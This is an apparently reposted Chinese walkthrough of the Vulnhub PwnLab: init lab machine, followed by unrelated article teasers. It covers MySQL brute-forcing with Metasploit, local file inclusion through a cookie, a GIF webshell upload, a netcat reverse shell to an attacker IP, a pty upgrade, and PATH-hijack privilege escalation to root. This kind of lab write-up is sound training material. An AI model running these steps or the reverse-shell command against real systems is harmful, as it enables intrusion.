PwnLab: init-文件包含、shell反弹、提权--靶机渗透思路讲解

news2024/11/13 19:33:15

Vulnhub靶机链接回【PwnLab

首页有一个登录框

image-20240807124822770

image-20240807124822770

他没有验证码,我们试试暴力破解

image-20240807122743025

image-20240807122743025

开始爆破了,全部失败,哈哈哈

image-20240807122851001

image-20240807122851001

nmap全端口扫描试试

image-20240807131408315

image-20240807131408315

有mysql服务,再爆破一下数据库,使用msf框架

use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.71.1     //设置目标服务器的ip地址
set rport 3306              //设置目标端口,为MySQL开启的端口号,默认是3306
set username root        //设置用户名,默认即为root
set pass_file /home/kali/pass.txt   //指定密码字典文件的路径
run                     //开始爆破

爆破失败。。。。。。

image-20240807130714714

image-20240807130714714

在url上面有一个page,猜测是文件包含漏洞,我们包含/etc/passwd,没有效果

image-20240807164615966

image-20240807164615966

php filter伪协议试试也不行

image-20240807170053674

image-20240807170053674

这些都试过了,那么直接包含index呢,出来了index的源码,就可以发现它的包含规则不能包含后缀

image-20240807170122370

image-20240807170122370

解码看看,对这个lang的cookie进行文件包含

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
 include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.

御剑目录扫描一下

image-20240807172346507

image-20240807172346507

包含upload,并base64解码,获取源码

<?php
session_start();
if (!isset($_SESSION['user'])) { die('你没有登录.'); }
?>
<html>
 <body>
  <form action='' method='post' enctype='multipart/form-data'>
   <input type='file' name='file' id='file' />
   <input type='submit' name='submit' value='Upload'/>
  </form>
 </body>
</html>
<?php 
if(isset($_POST['submit'])) {
 if ($_FILES['file']['error'] <= 0) {
  $filename  = $_FILES['file']['name'];
  $filetype  = $_FILES['file']['type'];
  $uploaddir = 'upload/';
  $file_ext  = strrchr($filename, '.');
  $imageinfo = getimagesize($_FILES['file']['tmp_name']);
  $whitelist = array(".jpg",".jpeg",".gif",".png"); 

  if (!(in_array($file_ext, $whitelist))) {
   die('Not allowed extension, please upload images only.');
  }

  if(strpos($filetype,'image') === false) {
   die('Error 001');
  }

  if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
   die('Error 002');
  }

  if(substr_count($filetype, '/')>1){
   die('Error 003');
  }

  $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

  if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
   echo "<img src=\"".$uploadfile."\"><br />";
  } else {
   die('Error 4');
  }
 }
}

?>

login源码,我们看到了有一个config.php引用,而且还是在当前目录

<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
{
 $luser = $_POST['user'];
 $lpass = base64_encode($_POST['pass']);

 $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
 $stmt->bind_param('ss', $luser, $lpass);

 $stmt->execute();
 $stmt->store_Result();

 if ($stmt->num_rows == 1)
 {
  $_SESSION['user'] = $luser;
  header('Location: ?page=upload');
 }
 else
 {
  echo "Login failed.";
 }
}
else
{
 ?>
 <form action="" method="POST">
 <label>用户名: </label><input id="user" type="test" name="user"><br />
 <label>密  码: </label><input id="pass" type="password" name="pass"><br />
 <input type="submit" name="submit" value="Login">
 </form>
 <?php
}

config包含

image-20240807170203368

image-20240807170203368

解码,好有了mysql密码

image-20240807134448767

image-20240807134448767

mysql连接

image-20240807134540048

image-20240807134540048

指定好数据库

image-20240807134816919

image-20240807134816919

找到指定表名就能看到用户密码了,密码有==号的话,那么大概率就是base64编码

image-20240807134848062

image-20240807134848062

解码

image-20240807135110924

image-20240807135110924

登录试试

image-20240807135123551

image-20240807135123551

登录成功了,只允许图片上传

image-20240807135555426

image-20240807135555426

我们分析之前找到的文件上传源码,是白名单

<?php
session_start();
if (!isset($_SESSION['user'])) { die('你没有登录.'); }
?>
<html>
 <body>
  <form action='' method='post' enctype='multipart/form-data'>
   <input type='file' name='file' id='file' />
   <input type='submit' name='submit' value='Upload'/>
  </form>
 </body>
</html>
<?php 
if(isset($_POST['submit'])) {
 if ($_FILES['file']['error'] <= 0) {
  $filename  = $_FILES['file']['name'];
  $filetype  = $_FILES['file']['type'];
  $uploaddir = 'upload/';
  $file_ext  = strrchr($filename, '.');
  $imageinfo = getimagesize($_FILES['file']['tmp_name']);
  $whitelist = array(".jpg",".jpeg",".gif",".png"); 

  if (!(in_array($file_ext, $whitelist))) {
   die('Not allowed extension, please upload images only.');
  }

  if(strpos($filetype,'image') === false) {
   die('Error 001');
  }

  if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
   die('Error 002');
  }

  if(substr_count($filetype, '/')>1){
   die('Error 003');
  }

  $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

  if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
   echo "<img src=\"".$uploadfile."\"><br />";
  } else {
   die('Error 4');
  }
 }
}

?>

图片马gif正常上传

image-20240807170244303

image-20240807170244303

我们用dirb扫到一个目录

image-20240807140150950

image-20240807140150950

gif上传成功

image-20240807140200246

image-20240807140200246

伪协议包含不成功

image-20240807170303756

image-20240807170303756

分析index.php源代码,它对cookie的值作为路径,这个参数为lang

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
 include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.

那我们就添加一个cookielang=../upload/66c30a7180c399c3188ff89f1e2c5c02.gif

image-20240807141325596

image-20240807141325596

此时回到首页

image-20240807170320504

image-20240807170320504

蚁剑连接试试

image-20240807141621704

image-20240807141621704

这里不要忘了添加cookie

image-20240807141646389

image-20240807141646389

反弹测试nc,有e参数,可以用nc反弹shell

nc 10.0.0.190 80 -e /bin/bash

image-20240807142125319

image-20240807142125319

反弹成功

image-20240807142325791

image-20240807142325791

终端升级

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

切换root账号,弱口令成功了。。。。

image-20240807144049758

image-20240807144049758

image-20240807144219447

image-20240807144219447

如果不用弱口令,正常情况是这样的,找到数据库中的密码和用户

image-20240807144751018

image-20240807144751018

猜测这个用户能用登录该系统,但是登录成功后,没什么利用价值

image-20240807144818674

image-20240807144818674

切换用户kane,里面有一个msgmike文件,查看它,这有一个命令

image-20240807145131804

image-20240807145131804

查看这个文件没有权限

image-20240807145214205

image-20240807145214205

我们切换这个mike用户,不能登录,鉴权失败,我们也就无法查看这个文件

image-20240807145344318

image-20240807145344318

然而当我们调用cat命令的时候,cat会从以上目录来寻找,如果我们添加.到$PATH环境变量,

则会先从当前目录来寻找cat指令,相当于我们自己创建一个读文件的cat指令,用这个指令来

读新建取/home/mike/msg.txt文件,我们新建一个cat文件,并添加执行权限,依次执行以下命令

image-20240807160433869

image-20240807160433869

这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),

我们就会提升到mike权限:

image-20240807162051127

image-20240807162051127

我们切换这个用户的跟目录发现有个msg2root

查看

image-20240807162730625

image-20240807162730625

发现一个bin/bash会话,不断尝试,直到如下结果; /bin/bash -p才能够以root的权限查看flag.txt

image-20240807164449825

image-20240807164449825

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1990370.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无法访问jakarta.servlet.http.HttpServletRequest

1、问题 无法访问jakarta.servlet.http.HttpServletRequest2、原因 JDK1.8升级到高版本后&#xff0c;需要手动引入jakarta.servlet-api 3、解决 增加依赖 <dependency><groupId>jakarta.servlet</groupId><artifactId>jakarta.servlet-api</ar…

6.2.面向对象技术-UML图

UML UML事物关系依赖关联聚合组合 泛化实现 类图对象图用例图序列图通信图状态图活动图构件图部署图练习题 UML 上午选择题3-4分&#xff0c;下午案例分析必考 UML是统一建模语言&#xff0c;和程序设计语言并无关系。 UML三个要素&#xff1a;UML的基本构造块、支配这些构造…

代码随想录算法训练营第二十一天 | 77. 组合, 216.组合总和III , 17.电话号码的字母组合

目录 77. 组合 思路 回溯法三部曲 方法一&#xff1a; 回溯未剪枝 方法二&#xff1a;回溯剪枝 心得收获 216.组合总和III 思路 方法一&#xff1a;回溯-没有使用sum来统计path里元素的总和 方法二&#xff1a;回溯&#xff0c;使用sum来保存当前路径上的总和 心得…

如何应用OceanBase 的实时SQL诊断,解决AP场景下的痛点

随着数据量的快速增长与用户需求的变化&#xff0c;数据库的管理与优化工作日益凸显其重要性。作为DBA及开发者&#xff0c;您是否曾面临以下挑战&#xff1a; ○ 分析场景下&#xff0c;在处理大规模数据的且耗时较长的查询是&#xff0c;常涉及海量数据的处理及复杂的计算&…

Python 设计模式之工厂函数模式

文章目录 案例基本案例逐渐复杂的案例 问题回顾什么是工厂模式&#xff1f;为什么会用到工厂函数模式&#xff1f;工厂函数模式和抽象工厂模式有什么关系&#xff1f; 工厂函数模式是一种创建型设计模式&#xff0c;抛出问题&#xff1a; 什么是工厂函数模式&#xff1f;为什么…

Vue3学习笔记第一天

MVVM Vue是一种用于构建用户界面的JavaScript框架。MVVM 是Vue采用的一种软件架构模式&#xff0c;用于构建交互式的用户界面。它的全称是 Model-View-ViewModel&#xff0c;这三个部分分别代表了应用程序的不同层次和角色&#xff1a; Model&#xff08;模型&#xff09;&…

【ARM】v8架构programmer guide(3)_ARMv8的寄存器

目录 4.ARMv8 registers 4.1 AArch64 特殊寄存器 4.1.1 Zero register 4.1.2 Stack pointer &#xff08;SP) 4.1.3 Program Counter &#xff08;PC) 4.1.4 Exception Link Register(ELR) 4.1.5 Saved Process Status Register &#xff08;SPSR&#xff09; 4.2 Proc…

性能测试基础概念

前言&#x1f440;~ 上一章我们介绍了单元测试Junit的使用&#xff0c;今天我们来讲解一下性能测试的一些基础概念为后面我们进行性能测试做铺垫 什么是性能测试&#xff1f; 性能测试和功能测试有什么区别&#xff1f; 影响一个软件性能因素有哪些&#xff1f; 为什么要进…

循环神经网络和自然语言处理一

目录 一.分词 1.分词工具 2.分词的方法 3.N-gram表示方法 二.向量化 1.one-hot编码 2.word embedding 3.word embedding API 4.数据形状改变 既然是自然语言&#xff0c;那么就有字&#xff0c;词&#xff0c;句了 一.分词 1.分词工具 tokenization&#xff0c;jie…

Outlook Pst文件大小最大多大?如何分开缩减?

簡介 預設情況下&#xff0c;personal Folders (.pst) 和離線 Outlook Data File (.ost) 檔案在 Microsoft Outlook 2010 和 Outlook 2013 中為 Unicode 格式。 .pst 和 .ost 檔案的整體大小有 50 GB 的預先設定限制。 此限制大於 2007 和 Outlook 2003 Outlook Unicode .pst …

零基础5分钟上手亚马逊云科技AWS核心云开发/云架构知识 - 成本分析篇

简介&#xff1a; 欢迎来到小李哥全新亚马逊云科技AWS云计算知识学习系列&#xff0c;适用于任何无云计算或者亚马逊云科技技术背景的开发者&#xff0c;让大家零基础5分钟通过这篇文章就能完全学会亚马逊云科技一个经典的服务开发架构方案。 我将每天介绍一个基于亚马逊云科…

数据结构 - 相邻节点迭代器

&#x1f49d;&#x1f49d;&#x1f49d;首先&#xff0c;欢迎各位来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里不仅可以有所收获&#xff0c;同时也能感受到一份轻松欢乐的氛围&#xff0c;祝你生活愉快&#xff01; 文章目录 引言一、相邻节…

nuxt3实战:完整的 nuxt3 + vue3 项目创建与useFetch请求封装

一. 安装 pnpm dlx nuxilatest init <project-name>// ornpx nuxilatest init <project-name>如遇到报错 手动安装&#xff1a; 浏览器访问报错https请求地址&#xff1a; 点击tar(项目初始文件的下载地址)对应地址,下载starter-3.tar.gz 包到本地 本地创建项…

【Android】使用网络技术——WebView的用法、http协议、OKHttp、解析XML、JSON格式数据笔记整理

WebView的用法 新建一个WebView项目 修改activity_main中的代码&#xff1a; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.com/apk/res/android"android:id"id/main"and…

STM32F1之SysTick系统定时器详细解析

目录 1. 简介 2. SysTick功能框图 3. SysTick寄存器 3.1 SysTick控制及状态寄存器 3.2 SysTick重装载数值寄存器 3.3 SysTick当前数值寄存器 3.4 SysTick校准数值寄存器 4. SysTick定时时间计算 5. SysTick寄存器结构体 6. 写一个us级延时函数 7. 写一个…

240806-RHEL 无法通过 ssh username@ip 远程连接,报错:Connection closed by ip port 22

A. 原因排查 遇到这个错误通常意味着 SSH 服务可能在目标主机上没有正常运行&#xff0c;或有防火墙/网络配置问题。以下是一些排查步骤&#xff1a; 检查 SSH 服务状态&#xff1a; 确认 SSH 服务是否正在目标主机上运行。 sudo systemctl status sshd重启 SSH 服务&#xff…

探索 Python 异步通信的奥秘:WebSockets 库的神奇之旅

文章目录 探索 Python 异步通信的奥秘&#xff1a;WebSockets 库的神奇之旅背景&#xff1a;为何选择 WebSockets&#xff1f;什么是 websockets 库&#xff1f;安装 websockets 库5个简单的库函数使用方法场景应用示例常见问题与解决方案总结 探索 Python 异步通信的奥秘&…

用Manim实现三维坐标系的绘制

1.ThreeDAxes 函数 ThreeDAxes是 Manim 中用于创建三维坐标系的类。在manim中常用的三位坐标绘制函数是&#xff1a; class ThreeDAxes(x_range(-6, 6, 1), y_range(-5, 5, 1), z_range(-4, 4, 1), x_length10.5, y_length10.5, z_length6.5, z_axis_configNone, z_normala…

数据仓库怎么建设?一文详解数仓的建设过程!

随着信息技术的飞速发展&#xff0c;企业不仅需要存储和管理海量数据&#xff0c;更迫切需要从这些数据中提取有价值的信息&#xff0c;以支持复杂的决策制定过程。数据仓库不仅是存储数据的场所&#xff0c;更是支持复杂查询、报告和数据分析的强有力工具&#xff0c;其建设已…

JavaScript异步简介|Promise快速入门

异步&#xff08;Asynchronous, async&#xff09;是与同步&#xff08;Synchronous, sync&#xff09;相对的概念。 异步 JavaScript 简介 异步编程技术使你的程序可以在执行一个可能长期运行的任务的同时继续对其他事件做出反应而不必等待任务完成。与此同时&#xff0c;你…